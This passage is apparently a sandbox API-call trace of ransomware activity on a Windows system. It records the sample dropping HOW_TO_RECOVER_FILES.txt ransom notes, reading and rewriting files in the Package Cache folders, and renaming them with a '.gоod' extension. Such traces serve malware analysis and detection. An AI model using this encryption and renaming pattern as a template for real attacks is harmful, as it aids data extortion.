1 [0099.458] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0099.464] GetFileType (hFile=0x20c) returned 0x1 [0099.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59ca80) returned 1 [0099.464] GetFileType (hFile=0x20c) returned 0x1 [0099.465] WriteFile (in: hFile=0x20c, lpBuffer=0x374c5d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59cbd8, lpOverlapped=0x0 | out: lpBuffer=0x374c5d8*, lpNumberOfBytesWritten=0x1f59cbd8*=0x5d0, lpOverlapped=0x0) returned 1 [0099.466] CloseHandle (hObject=0x20c) returned 1 [0099.466] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59d020, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x71 [0099.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d540) returned 1 [0099.466] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0099.532] GetFileType (hFile=0x20c) returned 0x1 [0099.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4b0) returned 1 [0099.532] GetFileType (hFile=0x20c) returned 0x1 [0099.533] WriteFile (in: hFile=0x20c, lpBuffer=0x3848fd0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59d608, lpOverlapped=0x0 | out: lpBuffer=0x3848fd0*, lpNumberOfBytesWritten=0x1f59d608*=0x5d0, lpOverlapped=0x0) returned 1 [0099.533] CloseHandle (hObject=0x20c) returned 1 [0099.534] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x68 [0099.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0099.534] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0099.534] GetFileType (hFile=0x20c) returned 0x1 [0099.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0099.534] GetFileType (hFile=0x20c) returned 0x1 [0099.535] WriteFile (in: hFile=0x20c, lpBuffer=0x384c8c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x384c8c8*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0099.536] CloseHandle (hObject=0x20c) returned 1 [0099.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0099.536] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}", lpFilePart=0x0) returned 0x43 [0099.536] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc767be9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0099.537] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc767be9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.537] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x37687158, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x2ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0099.537] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc6f54ba, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0099.537] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0099.537] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0099.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0099.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0099.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0099.537] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}", lpFilePart=0x0) returned 0x43 [0099.537] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc767be9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51d20 [0099.538] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc767be9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.538] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x37687158, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x2ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0099.538] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc6f54ba, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0099.538] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc6f54ba, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0 [0099.538] FindClose (in: hFindFile=0x1ec51d20 | out: hFindFile=0x1ec51d20) returned 1 [0099.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0099.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0099.538] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm", lpFilePart=0x0) returned 0x4d [0099.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0099.539] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), fInfoLevelId=0x0, lpFileInformation=0x385c158 | out: lpFileInformation=0x385c158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x37687158, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x2ee)) returned 1 [0099.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0099.539] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm", lpFilePart=0x0) returned 0x4d [0099.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0099.539] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0099.539] GetFileType (hFile=0x20c) returned 0x1 [0099.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0099.539] GetFileType (hFile=0x20c) returned 0x1 [0099.539] GetFileSize (in: hFile=0x20c, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0x2ee [0099.539] ReadFile (in: hFile=0x20c, lpBuffer=0x385c700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x385c700*, lpNumberOfBytesRead=0x1f59dd38*=0x2ee, lpOverlapped=0x0) returned 1 [0099.542] CloseHandle (hObject=0x20c) returned 1 [0100.842] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm", lpFilePart=0x0) returned 0x4d [0100.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0100.842] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0100.843] GetFileType (hFile=0x7c8) returned 0x1 [0100.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0100.843] GetFileType (hFile=0x7c8) returned 0x1 [0100.843] WriteFile (in: hFile=0x7c8, lpBuffer=0x33cb1f0*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x33cb1f0*, lpNumberOfBytesWritten=0x1f59dc48*=0x2f0, lpOverlapped=0x0) returned 1 [0100.844] CloseHandle (hObject=0x7c8) returned 1 [0100.844] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm", lpFilePart=0x0) returned 0x4d [0100.844] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.gоod", lpFilePart=0x0) returned 0x52 [0100.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0100.844] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x38530e78, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0100.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0100.845] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.gоod" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.gоod")) returned 1 [0100.845] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", lpFilePart=0x0) returned 0x55 [0100.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0100.845] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), fInfoLevelId=0x0, lpFileInformation=0x33cc4b0 | out: lpFileInformation=0x33cc4b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc6f54ba, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0xbee38)) returned 1 [0100.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0100.846] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", lpFilePart=0x0) returned 0x55 [0100.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0100.846] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0100.846] GetFileType (hFile=0x7c8) returned 0x1 [0100.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0100.846] GetFileType (hFile=0x7c8) returned 0x1 [0100.846] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0100.846] ReadFile (in: hFile=0x7c8, lpBuffer=0x33cc918, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x33cc918*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0101.280] CloseHandle (hObject=0x7c8) returned 1 [0101.280] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", lpFilePart=0x0) returned 0x55 [0101.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0101.280] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0101.280] GetFileType (hFile=0x7c8) returned 0x1 [0101.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0101.280] GetFileType (hFile=0x7c8) returned 0x1 [0101.280] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0xbee38 [0101.280] WriteFile (in: hFile=0x7c8, lpBuffer=0x356cdb8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x356cdb8*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0101.282] CloseHandle (hObject=0x7c8) returned 1 [0101.282] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", lpFilePart=0x0) returned 0x55 [0101.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0101.282] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0101.282] GetFileType (hFile=0x7c8) returned 0x1 [0101.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0101.282] GetFileType (hFile=0x7c8) returned 0x1 [0101.282] ReadFile (in: hFile=0x7c8, lpBuffer=0x356f0a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x356f0a0*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0101.347] CloseHandle (hObject=0x7c8) returned 1 [0101.347] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", lpFilePart=0x0) returned 0x55 [0101.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0101.347] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0101.347] GetFileType (hFile=0x7c8) returned 0x1 [0101.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0101.347] GetFileType (hFile=0x7c8) returned 0x1 [0101.347] WriteFile (in: hFile=0x7c8, lpBuffer=0x33e01c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x33e01c8*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0101.348] CloseHandle (hObject=0x7c8) returned 1 [0101.348] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", lpFilePart=0x0) returned 0x55 [0101.348] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.gоod", lpFilePart=0x0) returned 0x5a [0101.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0101.348] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x389f58a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbee48)) returned 1 [0101.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0101.348] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.gоod" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe.gоod")) returned 1 [0101.349] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package 